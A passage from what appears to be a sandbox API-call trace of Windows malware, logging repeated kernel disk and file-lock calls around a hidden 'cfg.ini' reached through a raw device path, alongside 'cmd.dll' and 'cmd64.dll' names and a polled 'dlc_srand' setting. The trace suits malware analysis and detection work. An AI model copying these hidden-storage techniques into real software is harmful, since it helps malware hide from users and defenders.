_Dest="0d24eb7c\\cfg.ini") returned 16 [0124.338] KeEnterCriticalRegion () [0124.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.338] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.338] IdePortDispatch () returned 0x103 [0124.338] KeWaitForMutexObject () returned 0x0 [0124.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.338] KeLeaveCriticalRegion () [0124.338] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.338] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.339] KeEnterCriticalRegion () [0124.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.339] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003537000 [0124.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.339] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.339] IdePortDispatch () returned 0x103 [0124.339] KeWaitForMutexObject () returned 0x0 [0124.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.339] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.339] IdePortDispatch () returned 0x103 [0124.339] KeWaitForMutexObject () returned 0x0 [0124.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.339] KeLeaveCriticalRegion () [0124.339] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.340] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.340] KeEnterCriticalRegion () [0124.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.340] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.340] KeLeaveCriticalRegion () [0124.340] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.340] KeEnterCriticalRegion () [0124.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.340] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.340] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.340] KeLeaveCriticalRegion () [0124.340] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.340] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.340] KeEnterCriticalRegion () [0124.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.340] ExFreePoolWithTag (P=0xfffffa8003beffb0, Tag=0x0) [0124.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.340] KeLeaveCriticalRegion () [0124.340] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.340] ReleaseMutex (hMutex=0xf0) returned 1 [0124.340] Sleep (dwMilliseconds=0x124f80) [0124.354] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.354] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.354] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.354] KeEnterCriticalRegion () [0124.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.354] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.354] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.354] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.354] IdePortDispatch () returned 0x103 [0124.354] KeWaitForMutexObject () returned 0x0 [0124.354] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.354] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.354] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.354] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.354] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.354] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0b60 [0124.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.354] KeLeaveCriticalRegion () [0124.354] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.355] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.355] KeEnterCriticalRegion () [0124.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.355] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.355] KeLeaveCriticalRegion () [0124.355] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.355] KeEnterCriticalRegion () [0124.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.355] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.355] IdePortDispatch () returned 0x103 [0124.355] KeWaitForMutexObject () returned 0x0 [0124.355] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.355] KeLeaveCriticalRegion () [0124.355] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.355] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.355] KeEnterCriticalRegion () [0124.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.355] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800353c000 [0124.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.355] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.355] IdePortDispatch () returned 0x103 [0124.355] KeWaitForMutexObject () returned 0x0 [0124.356] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.356] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.356] IdePortDispatch () returned 0x103 [0124.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.356] KeLeaveCriticalRegion () [0124.356] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.356] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.356] KeEnterCriticalRegion () [0124.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.356] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.356] KeLeaveCriticalRegion () [0124.356] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.356] KeEnterCriticalRegion () [0124.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.356] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.356] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.357] KeLeaveCriticalRegion () [0124.357] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.357] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.357] KeEnterCriticalRegion () [0124.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.357] ExFreePoolWithTag (P=0xfffffa8003bf0b60, Tag=0x0) [0124.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.357] KeLeaveCriticalRegion () [0124.357] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.357] ReleaseMutex (hMutex=0xf0) returned 1 [0124.357] Sleep (dwMilliseconds=0x124f80) [0124.371] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.371] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.371] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.371] KeEnterCriticalRegion () [0124.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.371] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.371] IdePortDispatch () returned 0x103 [0124.372] KeWaitForMutexObject () returned 0x0 [0124.372] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.372] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.372] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.372] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.372] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.372] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beffb0 [0124.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.372] KeLeaveCriticalRegion () [0124.372] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.372] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.372] KeEnterCriticalRegion () [0124.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.372] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.372] KeLeaveCriticalRegion () [0124.372] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.372] KeEnterCriticalRegion () [0124.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.372] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.372] IdePortDispatch () returned 0x103 [0124.372] KeWaitForMutexObject () returned 0x0 [0124.372] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.372] KeLeaveCriticalRegion () [0124.372] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.373] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.373] KeEnterCriticalRegion () [0124.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.373] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003541000 [0124.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.373] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.373] IdePortDispatch () returned 0x103 [0124.373] KeWaitForMutexObject () returned 0x0 [0124.373] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.373] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.373] IdePortDispatch () returned 0x103 [0124.373] KeWaitForMutexObject () returned 0x0 [0124.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.373] KeLeaveCriticalRegion () [0124.373] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.374] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.374] KeEnterCriticalRegion () [0124.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.374] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.374] KeLeaveCriticalRegion () [0124.374] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.374] KeEnterCriticalRegion () [0124.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.374] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.374] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0150, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.374] KeLeaveCriticalRegion () [0124.374] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.374] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.374] KeEnterCriticalRegion () [0124.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.374] ExFreePoolWithTag (P=0xfffffa8003beffb0, Tag=0x0) [0124.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.374] KeLeaveCriticalRegion () [0124.374] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.374] ReleaseMutex (hMutex=0xf0) returned 1 [0124.374] Sleep (dwMilliseconds=0x124f80) [0124.388] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.388] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.388] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.388] KeEnterCriticalRegion () [0124.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.388] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.388] IdePortDispatch () returned 0x103 [0124.389] KeWaitForMutexObject () returned 0x0 [0124.389] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.389] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.389] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.389] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.389] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.389] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1cb0 [0124.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.389] KeLeaveCriticalRegion () [0124.389] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.389] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.389] KeEnterCriticalRegion () [0124.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.389] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.389] KeLeaveCriticalRegion () [0124.389] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.389] KeEnterCriticalRegion () [0124.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.389] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.389] IdePortDispatch () returned 0x103 [0124.389] KeWaitForMutexObject () returned 0x0 [0124.389] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.389] KeLeaveCriticalRegion () [0124.389] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.390] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.390] KeEnterCriticalRegion () [0124.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.390] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003546000 [0124.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.390] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.390] IdePortDispatch () returned 0x103 [0124.390] KeWaitForMutexObject () returned 0x0 [0124.390] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.390] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | 